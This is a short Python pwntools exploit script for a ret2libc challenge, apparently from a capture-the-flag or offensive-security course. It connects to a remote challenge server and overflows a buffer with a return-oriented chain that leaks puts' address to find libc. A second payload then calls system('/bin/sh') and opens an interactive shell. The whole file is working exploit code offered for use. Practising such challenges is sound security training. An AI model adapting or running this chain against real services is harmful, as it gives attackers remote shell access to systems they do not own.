from pwn import *

context.binary = elf = ELF("./ret2libc_home", checksec=False)
# Change if on server
libc = ELF("libc.so.6", checksec=False)
# libc = ELF("/usr/lib/libc.so.6", checksec=False)
POP_RDI = 0x4011FB
RIP_OFF = 128 + 8
# I can still use puts instead of printf since puts is used inside the main
PRINTF_PLT = elf.plt["printf"]
PUTS_PLT = elf.plt["puts"]
PRINTF_GOT = elf.got[
    "puts"
]  # In local I can use printf, instead on remote I switch to puts (printf end with \x00
MAIN = elf.symbols["main"]

BINSH = next(libc.search(b"/bin/sh\x00"))
RET = 0x40101A
# STR = next(elf.search(b"Write your message:\n\x00"))
# p = process(elf.path)
p = remote("offsec.m0lecon.it", 13597)
print(p.recvuntil(b"Write your message:\n"))
payload = flat(
    b"A" * RIP_OFF,
    p64(RET),
    p64(POP_RDI),
    # p64(STR),
    p64(PRINTF_GOT),
    p64(PUTS_PLT),
    # p64(PRINTF_PLT),
    p64(MAIN),
)
p.send(payload)
print(p.recvline())
# print(p.recvline())
leaked = p.recvline().strip()
leak_puts = u64(leaked.ljust(8, b"\x00"))
log.info(f"puts leak = {leak_puts:#x}")
libc.address = leak_puts - libc.symbols["puts"]
log.info(f"libc base = {libc.address:#x}")


print(p.recvuntil(b"Write your message:\n"))

payload = flat(
    b"A" * RIP_OFF, p64(POP_RDI), p64(libc.address + BINSH), p64(libc.symbols["system"])
)
p.send(payload)
p.interactive()
